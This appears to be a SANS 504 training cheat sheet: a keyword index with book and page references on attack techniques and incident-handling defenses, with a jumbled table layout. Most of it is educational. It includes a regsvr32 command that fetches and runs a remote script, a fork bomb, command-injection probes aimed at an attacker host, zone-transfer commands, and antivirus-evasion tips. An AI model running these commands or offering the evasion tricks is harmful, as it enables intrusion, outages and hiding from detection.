SANS 504 Hacker Tools, Techniques & Incident Handling cheat sheet
SANS 504 Hacker Tools, Techniques & Incident Handling cheat sheet
!exploitable 3 108 Automated crash-analysis tool made by Microsoft that estimates how exploitable a given flaw is
.sct files 3 154
.sct.. Running it 3 155 regsrv32 /s /n /u /i:http://server/file.sct scrobj.dll
It is
/etc/passwd 4 36 see Unix Password File Format
/etc/shadow 4 37 see Unix Shadow File Format
Preparation:
--All authenticated error messages must be consistent:
--UserIDs should be tracked for a given number of bad logins and then temporarily lock out account.
----Account lockout could be timed to restore access after 30 minutes or require a call to the help desk
Account Harvesting: ----Be careful about the cost of helpdesk calls for account lockout resets
4 89
Defenses Slow down authentication and verification responses
--Wait 5+ seconds for verification then get lomger as the failed ligins/checks mount
--This can be on a per IP/User Agent String basis
Identification:
--Frequent login attempts with no activity even after successful login
Contain, Erad, Recov: N/A
Unix systems have four files better known as the accounting entries
utmp, wtmp, and btmp are not stored in ASCII, binary files
Accounting Entries: UNIX 5 84, 85 -lastlog stored in different manners on various systems
They can be edited only using specialized tools:
remove.c, wtmped.c, marry.c, cloak.c, logwedit.c and wzap.c
Particularly useful in getting through simple router-based firewalls. If a router allows "estalished" connections in (and is
Ack Scans 2 94 not using any stateful inspection), an attacker can use ACK scans to send packets into the network.
**See NMAP-Ack Scanning
ACK Storms 3 69 If attacker spoofs packets in a session, sequence numbers will be wrong
Both sides try to sort out the "confusion", resulting in an ACK storm
Active Server Pages 2 Microsoft's answer to CGI
Add N Edit Cookies-
4 137
Browsers Free Firefox plug-in (Specialized Browsers for Manipulating Data)
Aircrack-ng 2 64 Crack WEP keys
Alternate Data Streams
5 100
(NTFS) See Covering: Tracks: Alternate Data Streams (NTFS)
Keywords Book Page Remarks
To implement a kernel-mode rootkit, an attacker tweaks the kernel in two ways, identified as elements A and B in the
figure: System call table and Evil Kernel Module S_execve Wrapper
By changing the system call table, and attacker can wield great power.
Alterning the Kernel 5 59 Planting malicious code inside the kernel
Implementating redirection
--You want to run one program, but kernel runs a different one
Hiding files and processes
Kernel-mode rootkit
-alters Windows device drivers associated with the file system
Alueron 5 77 - 78 -atapi.sys or iastor.sys
-Alters driver, but changes system so that driver signature check always passes
-Hides itself in unused space at the end of the drive
Encrypted using RC4
Analysis of Perimeter
and Host Perimeter 1 56
Detects View Diagram
Is the future
Application Whitelisting 3 150 --Attackers are starting to get used to it
--The good old days of AV blacklisting are at the end
--May take a while to complete
Application log are especially useful from
-Web apps
-App server for the thick-client
Cloud-based services
Application-Level Particularly useful data
1 58
Detection (Identification) -Dates
-Timestamps
-Users (especially admins)
-Actions and transactions, including user input variable values
Allow for the complete control of a victim system remotely accross the network
Client-server architecture
Very popular and many examples:
Application-Level Trojan:
5 9 - Poison Ivy, VNC, Dameware (commercial), Sub7, BlackShades, GhostRAT
Backdoor Suites
- Many common backdoors can self-install upon system exploit
- Payload option in Metasploit
Attackers can trick victim into running tool
Most of these tools can be discovered with an antivirus tool.
Apply Fixes (Lesson Based on what you learned, get appropriate approval and funding to fix your processes,technology, and improve incident-
1 129
Learned) handling capabilities
ARP 3 48 Maps IP to MAC
Keywords Book Page Remarks
Step1: The attacker sets up IP forwarding so all packets sent to the attackers machine are redirected to the default gateway
(router) for the LAN. The attackers machine therefore acts much like the router itself
Step 2: The attacker sends a gratuitous ARP message to the victim machine, mapping the IP address of the default
ARP Cache Poisoning 3 51, 52
gateway for the LAN to the attackers MAC address. The victims ARP cache is therefore poisoned with false information.
Step 3: The victim sends traffic, but it's all transmitted to the attackers machine because of ARP cache poisoning
Step 4: The attacker sniffs the info using a sniffer
Step 5: The attacker's machine forwards all the packets back through the switch to the default gateway
ARP scans 2 94 Identify which hosts are on the same LAN as the machine running Nmap.
***The ARP scan does not work through a router, because ARP traffic just goes onto a single LAN
Arp spoof 3 49 Manipulate IP to MAC address mapping
Feeds false APR messages into a LAN so traffic is directed to the attacker for sniffing -------->ARP Cache Poisoning
ARP: Gratuitous 3 49 Gratuitous ARPs: Anyone can send ARP responses even though no one sends a ARP Request
--ARP cache poising
Arpspoof 3 51 Manipulate IP-to-MAC address mapping
Feeds false ARP messages into the LAN so traffic is directed to the attacker for sniffing -> ARP cache poisoning
ARPWatch 3 75 Looks for gratuitous ARP
ASLEAP 2 64 ASLEAP provides a dictionary-based attack against LEAP protocol used in some wireless environments
atpi.sys 5 77 driver modified by Alureon
Strictly control outgoing traffic
Start "hunting team" - looking for attack indicators. Hunt the hunters
Attack - Defense (aka --Check for long URLs
Metasploit Additional 3 133 --Check for DNS entries
Defenses - Preparation) --Check for beacon connections
--Check for odd services and .exes
Webcast on topic (Seth Misenar and Eric Conrad) Continuous Monitoring
Attack Trends 2 4 Five Steps that respresent the flow of an attack from initial information gathering to you are owned
The marriage of general attack tools and worms, viruses, and bots is resulting in powerful techniques
--Worms are increasingly being used to carry bots, backdoors, password crackers, and scanners
--Botnets are growing large with self-replicating code
Attack: General Trends -
2 14 --Several active botnets with more than 1 million hosts
Gold Age
Attacks from multiple sources simultaneously
--Distributed, cooperative attacks are all the rage
--Using groups of coordinating attackers or a single attacker with a botnet
Bottom line:Its a good time to be an attacker (or security practitioner)
Hack into web and file-sharing sites and alter software to include backdoor
Everyone who downloads and uses the tool is impacted
Attack: General Trends - Another approach is embodied in the ISR-Evilgrade tool
Software Distro Site 2 12 --Listens for software to request update
Attacks --Sends response with malware
--Currently includes modules for Java browser plug-ins, Winzip, WinAmp, MacOS X, OpenOffice, iTunes, LinkIn toolbar,
and more
--More than 60 software packages in total whose Internet updates can be subverted this way
Where a system automatically attempts to find a system with a name of WPAD and download a PAC file with Proxy
settings.
Attacking WPAD 3 74 --MitMf and Responder
Intercept traffic for specific domains (think PAC Backdoors) and harvest full HTTPS URL information for things like Session
IDs
Pacdoor us a tool that attacks WPAD
Bishop Fox's SearchDiggity is a fantastic suite that includes Google Diggity, Bing Diggity, and other search capabilities
- Malware Diggity, Data Loss Prevention Diggity, Flash Diggity
Automated Search
2 43 - Many of these "diggity" components require an API for the respective service
Engine
- Sometimes, free APIs provide fewer results than the web interface
Recon-ng is another powerful automated search tool
System control:
Log keystrokes, get passwords
Create dialog boxes with attacker's text
Lock up or reboot the machine
Backdoor Capabilities 5 15 Get detailed system information
Access files
Create VPN through compromised systems
Camera and audio capture
Many of the same features found in Meterpreter
Many will have names that "blend in" on the system
-SCSI, UPS, server, client, host, and svchost
Backdoors 5 6 Allows an attacker to bypass normal security controls on the system. It allows an attacker to get around that so he doesn’t
have to provide a userID and password
Patch mgmt
Utilize host-based IPS that offers buffer overflow protection by
Buffer Overflow -Blocking certain calls into the kernel from certain applications
3 126 -Offering additional memory protection to ares like the stack
Defenses: Preparation
Deploy application white listing software
Configure systems so that no instructions can be retrieved from the stack
Preparation
Avoid programming mistakes
-Know what buffer overflows are and how to avoid them
Buffer Overflow Awareness/training for developers
3 131
Defenses: Programming -Code reviews
Writing Secure Code 2 by Howard and Leblanc
Secure Programming for Linux and UNIX Howto by David Wheeler
The three steps of the process of finding a flaw and creating an exploit are:
Buffer Overflow: Creating 1) Find potential buffer overflow condition
3 106 2) Push the proper executable code into memory to be executed
Exploit
3) Set the return pointer so that it points back into the stack for execution
Buffer Overflows: Return The attacker doesn’t know exactly which memory location the executable code is at
3 113 - Much of this depends on how the target program was complied
Pointer
- determined at runtime, a guessing game
Keywords Book Page Remarks
Use a NOP sled to pad your exploit code.
Buffer Overflows: Return --Now your RP doesn't have to be as precise
3 114
Pointer NOP -Increases chances of IDS detection
Part of Burp suite of web application assessment and pen testing tools. It runs in Java and has many useful features,
Burp Proxy 4 139 including capability to accept regular expressions, which it applies to finding and altering HTTP requests automatically in
real time.
-remove all default web material - HTML, CGI scripts, ASPs, Images
-apply all system and server patches
CGI/Web Scanners -run web server with minimal privileges (Not root).
2
Defense -consider chrooted environment
ID: Utilize an Intrusion Detection System
-Most CGI/Web Scanners trip a lot of signatures.
Keywords Book Page Remarks
Have the system admins look for unusual:
Processes and services
Files
Network usage
Cheat Sheet Elements, Scheduled tasks
1 62
(Windows and Linux) Accounts
Log entries
Other unusual items
Additional supporting (third party tools)
Various code search engine tools are available (koders.com is one of the most widely used) Google shut down its code
search feature
Code Search Engine Koders.com crawls the Internet to find source code
3 108
Tools c, c++, Perl, Python, Ruby, Java, and more
Caches source code and allows for flexible searches
Allows remote code execution when the web app can be tricked into executing code supplied by the user
ShellShock
--web apps either run a shell or program to handle inputs
Command Injection 4 91 --If the input contains a command for the shell, an attacker may get that command to run
Allows remote code execution when the web app can be tricked into executing code supplied by the user
ShellShock
--web apps either run a shell or program to handle inputs
Command Injection 4 91-93 --If the input contains a command for the shell, an attacker may get that command to run
Preparation:
--Educate developers to be careful with user input
--Conduct vulnerability assessments and penetration tests regularly (Sanitize your Input!!!)
Identification:
--Look for unusual traffic outbound from web servers
Commands Injection - --Look for extra accounts or other configuration changes on servers
4 94
Defenses Containment:
--Remove attacker software and accounts
--Check for rootkits
--Fix the application, and consider a Web Application Firewall
Eradication:
--If rootkit were installed, rebuild
Recovery: Watch for attacker's return
To discover a command injection flaw, an attacker could choose from several commands to try
Some of the most valuable are:
--ping [AttackerIPaddress]
--nslookup[AttackerDomainName]
--The attacker can then sniff to see if packets come from the target
Commands Injection: These commands are ideal because:
4 92, 93
Command to Inject --They DO NOT require high privileges to execute and they are benign
--They show there is outbound traffic from the target
--Work in a blind fashion because the attacker can sniff to see if they worked without seeing the output of the command
System control:
Log keystrokes, get passwords
Create dialog boxes with attacker's text
Common Remote Lock up or reboot the machine
Control Backdoor 5 15 Get detailed system information
Capabilities Access files
Create VPN through compromised systems
Camera and audio capture
Many of the same features found in Meterpreter
Many will have names that "blend in" on the system
-SCSI, UPS, server, client, host, and svchost
Business routinely are involved in the activities of collecting information about their competition or trying to prevent the
Competitive Intelligence 1 158 competition form getting information about their activities. As long as this is legal, we generally refer to this as Competitive
Intelligence
Connect Scans 2 94 Complete the 3-way handshake; are slow and easily detected. Because the entire handshake is completed for each port in
the scan, the actiities are often logged on the target system.
Keywords Book Page Remarks
use Netflow data to reveal patterns in connection statistics
Connection Data - Systems beaconing out every 30 seconds
1 135 - Systems beaconing out at random intervals
(Enterprise-Wide IR)
- Connections which live for far longer than they should
The goal of the Containment phase is to stop the bleeding
sub-phases of Containment:
Containment 1 98 -short-tem = just to stop the damage
-System back-up
-long-tem = bad guy is denied access
-Denial of Service
-Compromised Information
-Compromised Asset
-Unlawful Activity
Containment- Incident - Internal Hacking
1 101
Categories -External Hacking
-Malware
-E-Mail
-Policy Violations
Counting Half-Open
4 172
Connections in Windows
Use the netstat and find commands to count half-open connections
Counting Running
4 176-177
Processes in Linux Use the ps command to list processes and the grep command to count them
Keywords Book Page Remarks
Counting Running
4 171
Processes in Windows various commands for counting Running Processes in Windows (tasklist command w/ find cmd) (WMIC command)
-Traditional crimes facilitated by a computer
Country-Specific Cyber -Crimes in which the computer is the target
1 183
Crime Laws Always incorporate your organization's legal dept into any incident or interaction w/ law enforcement
Covering Tracks On the Numerous tools carry data inside the payloads of ICMP packets
5 119 --ptunnel (TCP over ICMP Echo and Reply), Loki (Linux Shell), ICMP Shell (Linux), PingChat (Windows chat program),
Network: ICMP Tunnels
ICMPCmd (Windows cmd.exe access)
Covering Tracks: utmp, wtmp, and btmp are not stored in ASCII, binary files
Accounting Entries 5 84, 85 -lastlog stored in different manners on various systems
(UNIX) They can be edited only using specialized tools:
remove.c, wtmped.c, marry.c, cloak.c, logwedit.c and wzap.c
c:\Windows\System32\winevt\Logs
-AppEvent.Evtx- Application-oriented events
-SecEvent.Evtx-Security events
-SysEvent.Evtx-System events (readable by all users)
files are write-locked on a running system, stored in binary
--Attacker can delete logs or generate bogus logs to overwrite data
--both are easily noticed but can still hide important log information
** Theoretically an attacker could boot to Linux and edit the offline NTFS logs
-no public software exists, but the capability is there
Covering Tracks: Log Meterpreter clearev can wipe logs, currently no line-by-line ability
5 109
Editing - (Windows)
The three primary Windows event types are stored temporarily in these log files:
--SYSTEM.LOG
--SECURITY.LOG
--APPLICATION.LOG
Each .LOG file is periodically rewritten into an .EVT format automatically, in the following files:
--SYSEVENT.EVTX
--SECEVENT.EVTX
--APPEVENT.EVTX
Keywords Book Page Remarks
Preparation
--Keep attackers off system in the first place (apply least privilege)
Identification
--Know what processes should be running on your systems
Covert Channel: ----When a strange process starts running, investigate
5 129 ----Especially if t has admin/root privileges
Defenses
--Network-based IDS can analyze packets for:
----Shell commands in HTTP (for reverse www shell)
----Unusual data in ICMP messages (for ICMP tunnels)
------False positives associated with network management equipment
----Unusual changes in IP ID and Seq/Ack fields (for Covert_TCP) -- pretty hard to do
***Focus on egress traffic
Containment
--Delete attacker's program
Covert Channel: --Look for program on other systems
5 140 Eradication:
Defenses
--If attacker comprimosed admin/root account, rebuild system
Recovery:
--Monitor system very closely
Keywords Book Page Remarks
using extra space in the TCP or IP Header
Covert Channels in TCP Covert_TCP
5 122
and IP Headers -Designed to transfer files
-Remarkably effective technique
Covert_TCP: Bounce Step 0: Attacker establishes a Covert_TCP server on the receiving server, putting it in "ack" mode.
5 125
Mode Step 1: The client generates TCP SYN packets with a spoofed source address of the receiving server and a destination
address of the bounce server.
Step 2: The bounce server receives the packet. If the destination port on the bounce server is open, the bounce server will
send a SYN/ACK response.....(see page)
Step 3: The receiving server gets the SYN/ACK or RESET, recovers the character from the sequence number field, and
waits for more. The data is then gathered from the seq # and written to a local file
Keywords Book Page Remarks
CpuHOG (Denial of creates a process with a high priority on a Windows machine.Sets is priority level to 16, higher than all others
4 147 -could not be killed by windows apps
Service)
-took priority over all resources
Cracker 2 5 Someone who maliciously breaks into a system
Creating Evil Macros 3 145 see screenshot
After target user input string has been identified, use standard database logic elements and see what happens!
Data Manipulation --Double dash (--): Comment delimiter
Across the Web (SQL 4 98 --Semicolon (;): Query terminator
Injection) --Asterisk (*): Wildcard selector
--Percent (%): Matches any substring
--Underscore(_): Matches any character
Other useful entities are OR, TRUE, 1=1, SELECT, JOIN, and UPDATE
You can view and edit anything that is passed to the browser
Any variable passed to the browser can be altered by user unless the application performs from integrity checks
Data Validation 4 141, 142 Sometimes, 99.99% of all state information is an application is covered
But on one screen, a single variable is passed in the clear without a hash or timestamp
With just one piece of unprotected state, the application is vulnerable
use a large number of compromised machines
The result is Distributed Denial of Service (DDoS)
DDoS - Attacks 4 156 In the past, attackers relied on specialized DDoS tools:
-Tribe Flood Network (TFN) and Tribe Flood Network 2000 (TFN2K)
Today, DDoS is usually launched using a botnet
Keywords Book Page Remarks
- host-based IDS/IPS
-To prevent attackers from gaining root or SYSTEM
- Keep systems patched
DDoS - Defenses 4 163-164 - Utilize antivirus tools to prevent installation and remote detection
** Egress antispoof filters (extremely important)
-Design critical business systems with adequate redundancy
- host-based IDS/IPS
-To prevent attackers from gaining root or SYSTEM
- Keep systems patched
DDoS - Defenses
4 163 - Utilize antivirus tools to prevent installation and remote detection
(Preparation)
** Egress antispoof filters (extremely important)
-Design critical business systems with adequate redundancy
SYN floods:
--Typically Spoofed
--Clogs connection with bogus traffic
DDoS - Flood 4 160 --Easier for ISPs to block by looking for abnormal traffic patterns
HTTP Floods:
--3WH and send HTTP GET for common page, such as index.html
--Much harder to differentiate from normal traffic
Using the TCP three way handshake, an attacker can bounce a flood from the zombie to the victim
DDoS - Reflected 4 158 Zombie sends a SYN to legitimate site
Legit site sends a SYN/ACK to food the victim
Makes tracing the attack even more difficult
DDoS Architecture 4 157 view Diagram. At the top of the architecture, you have the attacker who uses a remote control tool or remote shell to
connect to one or more client machines.
DDoS: Additional ID: Massive flood of packets. Automated DDoS detection and throttling tools.Containment: Get ready to marshal the
4 164
Defenses incident response team of your ISP
Keywords Book Page Remarks
Preparation:
--host-based IDS/IPS
--To prevent attackers from gaining root or SYSTEM
--Keep systems patched
--Utilize antivirus tools to prevent installation and remote detection
** Egress antispoof filters (extremely important)
-Design critical business systems with adequate redundancy
Containment:
--Get ready to marshal the incident response team of your ISP
Erad, Recov:N/A
StegExpose: Jave utility to detect stego in lossless images where Least Significant Bit (LSB) techniques
--This stego is where the LSBs which determine color are modified
Detecting Stego 5 149 --This leads to a very slight (think imperceptible) change of color made to the original image
Supports a number of different "detectors" or mathematical analysis techniques to detect stego
For quick analysis, it can also use "cheap" or quick analysis methods to detect the presense of stego
Has the ability to run on a large number of files very quickly
Determine Risk of Acquire logs and other source of info. How far did the attacker get? Make recommendation for longer term containment.
Contining Operations 1 111 Document recommenation in signed memo. Ultimately, it's a business decision but they are informed by incident handler's
(Containment) input.
Dictionary Attacks Involves using a predetermined list of passwords. It is the fastest method for cracking passwords.
4 11
(Password Cracking)
Digital Millennium
2 9
Copyrights Act (DMCA) Copyright protection and prohibitions against reverse engineering copy-protection schemes
checks the source address and interface on which the packet arrived to make sure they make sense. Requires admin to
Direct anti-spoof 3
configure each set of addresses expected on each interface, takes a lot of work
Keywords Book Page Remarks
Method of attacker injecting code in the form of DLL directing into the victim EXE processes memory space.
DLL Injection requires several steps to be taken by the attacker, including:
--Allocating space in the victims process for the DLL code to occupy
--Allocating space in the victims process for the parameters required by the DLL to be injected into
DLL Injection 5 51 --Writing the name and code of the DLL into the memory space of the victim process
--Creating a thread in the victim process to actually run the newly injected DLL
--Freeing up resources in the victim process after execution is completed
--Overwriting API calls.
**You can see which accounts on your local Windows system have Debug privileges by going to Start -> Run and typing
"secpol.msc"
dlllist 5 23 Lists the DLLs loaded by a process, as well as the command-line invocation of a process
DMESG messages 2 68 Used to track all DHCP leases
Contains detailed info about target, to include external Ips
DNS 2 24 -attackers will use nslookup or dig to interact with DNS servers
** zone transfers can reveal information about the internal network
-should be disabled except to specific, known DNS servers
Clients use a "resolver" to access DNS servers
Most common DNS server is BIND (Berkeley Internet Name Domain)
DNS servers query each other
DNS does recursive queries. When a client wants to connect to a server it must resolve the server's name. The client's
resolver checks the local files to see if it already knows the IP address. If not, the client requests the mapping of name to
address (in the form of a DNS address record) from the local name server (which it locates based on information in
DNS 3 88 UNIX's /etc/resolv.conf or in the Windows network control panel). The local name server receives the query. If it has the
inforamtion cached from a previous lookup, it sends a response. If it doesnt have the information, it does a recursive
lookup. When doing a recursive lookup, the local name server consults with the root name server to see if it has the
address record. If the root name server does not have the information, it sends back a referral to the next server down the
line, the "org" server/ The local name server then queries the org name server.
Preparation:
--Don’t allow zone transfers from just any system
----Limit zone transfers so primary DNS server accepts zone requests to be initiated only by secondary and tertiary DNS
servers, no one else
--Use split DNS
DNS Recon: Defense 2 27 ----External name information in external server
----Internal name information in internal server
--Make sure DNS servers are hardened
----All internal and external DNS servers
Identification:
--Look for zone transfers (in DNS server logs or data transferred to/from TCP port 53)
Cont, Erad, Recov: N/A
DNS Spoofing Effects 3 57 The attacker doesn’t have to be on the same LAN as the victim for DNS Spoofing to work
DNS Spoofing: Bettercap 3 58, 59
See screenshots
DNS Zone Transfer: Unix 2 26 dig @<DNS server> <target domain> -t AXFR
-limit zone transfers, split DNS b/w internal and external
By dumping records from your DNS servers, attackers can determine which machines are accessible on the Internet
Using nslookup, information can be gathered
DNS Zone Transfer: Type
2 25 --nslookup
Windows
--server [DNSServer]
--set type=any
--ls -d [domain]
Contact names:social engineering, duping users via the telephone into giving up useful information
Telephone numbers: War dialing, finding unsecure modems to infiltrate an internal network
Postal addresses: War driving, finding unsecure wireless access points to attack
IP addresses: Scanning, looking for openings in the target
Doo 4 78 tool that searches for VMWare-specific virtualized hardware
DoS - Amplification Send a small spoofed DNS query to several DNS servers
4 150 - 153
Attacks -all the DNS servers respond to victim with packet flood
sets is priority level to 16, higher than all others
DoS - CpuHOG 4 147 -could not be killed by windows apps
-took priority over all resources
Stopping Services and Exhausting Resources (pg 147)
DoS - Denial of Service 4 146 --CPUhog is a resource exhaustive local DoS
You can also locally DoS a Linux system with a fork bomb
- :(){:|:&};:
With EDNS (RFC 2671), a DNS Query can specify a larger buffer (bigger than 512 bytes) for the response
- attacker sends 60 byte query to get a 4000 byte response
-Has been used in attacks to generate well over 10 Gbps of traffic at the target
DoS - EDNS 4 150 ***attacker needs DNS Servers supporting recursive lookups
-attacker queries those servers for a DNS name the attacker owns
-attacker's DNS caches 4000 byte response on those servers
-poisoned DNS caches are used to amplify DNS response flood
Two types of Denial of Service attacks:
DoS: Types 4 147 --Local DoS
--Network based
Driftnet 3 53 Doesn't even send the second HTTP request to fetch data. Instead, it monitors HTTP looking for JPEG images, which it
sniffs and reconstitutes on the screen
Driftnet It monitors HTTP looking for JPEG images
Drive Duplicator and drive duplicators are nice but may not capture unallocated space
Write Blockers 1 110 -Consider buying write-blocking hardware, Tableau for ex
(Containment) -Destination drive bigger than source drive, at lest 10%
droidsheep 3 63 mobile firesheep. Downgrades SSL to http
Dsniff 2 6 Suite of tools make sniffing and spying easy
Keywords Book Page Remarks
Dsniff, arpspoof, macof, tcpkill,tcpnice, msgsnarf,filesnarf, mailsnarf, URLsnarf, WebSpy, DNSSpoof, Webmitm, SSHmitm
Dsniff Components 2 6 Dsniff is a suite sniffers and sniffer "helpers"
Dsniff, the master program of the suite, is merely a sniffer that decodes
See slie for protocols that are decoded by dsniff
Easy-Creds 2 67 Helps create malicious WAPs
Easy-Creds: Attack
2 68
Stack See page
push <reg>
Editing Assembly 3 149 pop <reg>
Where <reg> is the name of the register in the xor.
With physical access, an attacker could boot to Linix and edit the Windows logs directly with specialized tool
Editing Logs w/Physical A Linux boot disk for editing the Windows password database (SAM) can be found at http://pogostick.net/~pnh/ntpasswd
5 110 --Be careful when using this on a machine with EFS on Windows XP and 2003
Access
--You will likely lose the EFS keys if you change the password on them
This program cannot be used to edit logs
With EDNS (RFC 2671), a DNS Query can specify a larger buffer (bigger than 512 bytes) for the response
- attacker sends 60 byte query to get a 4000 byte response
EDNS (DNS -Has been used in attacks to generate well over 10 Gbps of traffic at the target
4 150 ***attacker needs DNS Servers supporting recursive lookups
Amplification Attack)
-attacker queries those servers for a DNS name the attacker owns
-attacker's DNS caches 4000 byte response on those servers
-poisoned DNS caches are used to amplify DNS response flood
Collect evidence as soon as you ID a problem:
-All logs from employee's server(s) and e-mail server(s)
E-Mail - Gathering -Logs from organization's mail relay(s), even if you are SURE it is internal
Evidence (Unauthorized 1 165 -Firewall/intrusion detection logs
Use) -When comparing logs, be certain to account for clock drift
**Problems tend to get to you long after they began, logs are perishable
Keywords Book Page Remarks
95%+ of all infections come from a user clicking on something or getting phished
Cant we just say that most attackers just "Phish and be done"?
Endpoint Security AV Bypass
3 141
Bypass: External Access Application Whitelisting Bypass
AV_NG Bypass Tricks
Non-attribution
Backdoor factory
Endpoint Security Uses Code Caves
Bypass: Some Ebowla
3 151
Techniques (Application --Environmental Keyed Payloads + golang
Whitelisting) --Multiple formats
Try code signing your malware
Use tools and techniques to monitor a large network and ID compromise: Web proxy, DNS cache, Connection Logs
-use logs from network devices, etc.(firewall, DNS, proxy, router)
Enterprise-Wide IR 1 131 -serve as filter points for all traffic, can ID anomaly
Espionage 1 158 Need to determine most likely targets (what, how, why, etc)
-ID how attackers would gain access, develop monitoring/controls
Thumbprint critical files and search for keywords
- Custom network-based IDS signatures
- Custom firewall/IPS signature-matching technology
Espionage - Purposely
1 162
Deceiving the Attackers
If an outsider is collecting info, you may be able to provide erroneous info and actually benefit from the incident
Espionage -Identification 1 160 Pay attention to some indicators such as before/after hours access, work weekends,voluteering to empty paper recycling.
Pattern of access violations in audit trails. Leak seeding (media leaks)
Espionage Preparation -
1 159 Ask what the most probable targets of the activity are? What is the info worth? Who(outside the organization) might benefit
Target Analysis
from having it? What are all possible ways to acquire these targets? What are 2 or 3 most likely ways to acquire targets?
Keywords Book Page Remarks
Session hijacker for Linux.
67 --Passive sniffing, with filter on IP or MAC address
Ettercap 3
71 -- active sniffing with ARP cache poisoning techniques;
Is any observable occurrence in a system and/or network.
EX: The system boot sequence--A system crash (could be normal behavior for that system)
Event Definition 1 12
***Must be recorded in notebooks and logs--
Recording the same event in multiple place helps improve evidence-that's corroborating evidence
msfvenom/Metasploit by default, utilizes a number of different template .exe files to inject malware into. While many AV
vendors have a difficult time writing the exact signature for a properly encoded malware, it is far easier to write a signature
for the wrapping .exe the malware is put into. So they write a signature for that. There is an interesting flag in msfvenom to
exe vs. exe-only 3 143 change format to exe-only rather than exe. This flag has the effect of either creating a new section header, or modifying
the existing .text section in the case of 64-bit binaries. In the case of 32-bit binaries, the shellcode ends up in the .text
section regardless, however, the characteristics flags differ and some extra assembly code are introduced in the exe-only
version
Incident handling is similar to first aid
The caregiver is under pressure and mistakes can be costly
A simple, well understood, documented approach is best
Keep the six stages in mind: Preparation, Identification, Containment, Eradication, Recovery, and Lessons Learned
Use predesigned forms and ask for help
Executive Summary 1 14
-http://www.sans.org/score/incidentforms
-Forms include Incident Contact List, Identification Checklist, Eradication Checklist and Comm Log
Additional materials available are:
-NIST's Computer Security Incident Handling Guide, Revision 2
FilePwn 3 53 MitMf plugin that allows executable files to insert backdoors in transit
filescan 5 23 Lists the files that each process had open
filesnarf 3 51 Save files captured from NFS to local host
FIN Scans 2 94 Send packets with the FIN control bit set in an effort to be stealthy and get through firewall
Firebug-Browsers 4 137 Firefox web page and script editor and development tool
Firefox SSL Warning
3 61
Message See screenshots
firesheep 3 68 downgrades webpages from ssl to http; a method for avoiding SSL warnings
Used to send packets through a packet filter (firewall or router, no proxy) to determine which ports are open through it.
Firewalk 2
uses TTL on TCP or UDP. Needs the IP of the firewall, so the tool can try to walk through it by implementing TTL during
port scan
Firewalk Defense 2 Disallow ICMP Time Exceeded messages.
--Use a proxy server instead.
FOCA 2 41 automates search of file types on a webpage, can extract metadata
Step 1: Attacker runs the MitMf, which listens for any DNS query for target domain
Step 2: The victim runs a program that tries to resolve to the target domain name, such as a web browser.
Foiling DNS 3 56 Step 3: The tools sees the request. To sniff this request in a switched environment, the attacker may have to use the ARP
cache poisoning techniques dicusssed in ARP Spoofing, so that the attacker can see the DNS query traffic from the victim
Step 4: The MitMf tools sends a DNS response, spoofed to appear that it comes from th victim's DNS server. This response
includes a lie anout the IP address of the target domain.
Step 5: The victim now surfs whereever the attacker wants him/her to. The victim thinks it's the real destination.
Make a forensic, bit-by-bit image as soon as feasible
Forensics Images --take notes of all commands given and system responses
1 109 **Create a hash of the original and your images
(Containment)
Memory imaging can be done with Volatility or Memoryze
printf ("%s", buffer); red text= the format string
if you forget the %s.....printf(buffer); the buffer itself is interpreted as the format!
Format String - printf 3 141 Unfortunately, the wrong way still compiles without complaints
The wrong way also runs "properly"
- The program thinks the string is a format that looks like "[string_contacts]"
Attacker enters "%x %x %x" into user_input
-Becomes snprintf(buffer, sizeof buffer, "%x %x %x");
Format String - Read the -Buffer now contains the next three hexadecimal values on the stack
3 146
Stack -We're grabbing stuff from the stack
-By expanding this, we can grab the contents of various nearby locations in memory
Keywords Book Page Remarks
snprintf (char *stf, size_t size, const char *format,…);
Format String - snprintf 3 144 Our program does
snprintf (buffer, size of buffer,.... user_input); <-----Forgot the format string in red
printf command has a weakness if used incorrectly
-Read arbitrary information from memory
Format String Attacks 3 140 -Manipulate information anywhere in memory
By manipulating information anywhere in memory, an attacker can have complete control over the victim process
-If victim process runs with root or admin privileges, attacker can own the system
Format String Attacks- user input contains quotes ("), %x, %d and/or %n, is likely a format string attack
3 143
Curious Use input
Format String- Writing Note that the memory location cannot contain a value of 0x00 in it, because this causes the printf function to stop
2 160
anywhere in Memory processing. Snprint, printf, sprintf always stop when they reach a null character (0x00)
The "%n" format in a printf command makes printf store the number of characters that should have been output before
encountering the %n
-This number is stored in an address space indicated by the next argument of printf
Format Strings - %n 3 148 printf("Hello world!%n", &variable);
-Loads the number 12 into variable
We are *writing* to memory using printf
Preparation
-Your program developers must make sure they explicitly use format strings in all printf,sprintf, fprintf and snprintf function
calls
Format Strings- Awareness training for developers
2 164
Defenses Heavy use of grep to search for errors
-Insist that your vendors do the same
Deploy patches as they become available
Ident, Cont, Erad, Recov:
-Same as buffer overflow defenses
Keywords Book Page Remarks
Attacker can alter the value stored at any memory address
Format Strings- So What 2 162 -Overwrite return pointers on the stack to redirect program execution to the attackers code
-Change parameters
- Change security settings (like an application-level user ID)
Foundscan 2 116 Commercial vulnerability scanner (web-based scanning service)
Lowest Offset
Fragmentation - First Wins Tie
2 119
Reassembly Methods Highest Offset
Last Wins Tie
Customizable fragmentation crafter, useful for IDS evasion
FragRoute 2 120 - Doesn't route, sits on NIC to frag packets from attack app
- Includes a language for defining specific twisted fragment attacks
FragRouter 3 52 IP forwarding will likely decrement the TTL of the packet as it moves to the outside world. An attacker could use FragRouter
configured not to fragment, with a simple change to the code commenting out the line that decrements the TTL
FTP Proxy "Bounce
2 94
Attack" scans Bounce an attack off a poorly configured FTP server
Full C2 backdoor where all Command and Control traffic flows over Gmail
Gcat 5 128 - Command execution, screen shots, download and upload files, keylogging, execution of shell code
-Bypasses many DLP/IDS/IPS systems
GECOS 4 36 This is a free-form field that can hold other information about the user
Generic Route
Encapsulation Redirector 4 74 Some bots can start a GRE (Generic Route Encapsulation) Redirector, so an attacker can send IP packets across a GRE
(GRE) Tunnel to an infected system
gets 3 99 vuln to buffer overflow, doesn’t boundary check
Processing of modifying the assembly on an executable in order to bypass antivirus, this is done via insertion of junk code
Hijacking synthesizes sniffing plus spoofing, the defenses for those attacks are combined for session hijacking.
Hard-code ARP tables on sensitive LANs
Activate port-level security on your switches
--Lock down each physical port to allow only a single MAC address
--Or lock down each physical port to allow only a specific MAC address
Hijacking Attack: Use dynamic ARP Inspect with DHCP snooping
3 75
Defenses Disable LLMNR and WPAD!!!
For defense against network-based hijacking attacks, encrypt session and use strong authentication
